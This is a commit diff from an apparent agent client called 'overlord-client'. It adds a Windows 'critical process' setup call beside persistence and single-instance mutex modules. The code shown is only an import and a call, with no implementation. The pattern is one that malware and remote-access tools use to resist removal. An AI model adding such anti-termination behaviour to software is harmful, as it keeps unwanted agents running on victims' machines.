add critical process for windows
This commit is contained in:
@@ -5,6 +5,7 @@ import (
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/criticalproc"
|
||||
"overlord-client/cmd/agent/mutex"
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
)
|
||||
@@ -24,6 +25,10 @@ func main() {
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.CriticalProcess {
|
||||
criticalproc.Setup()
|
||||
}
|
||||
|
||||
releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
|
||||
if err != nil {
|
||||
log.Printf("[mutex] failed to initialize mutex: %v", err)
|
||||
|
||||
Reference in New Issue
Block a user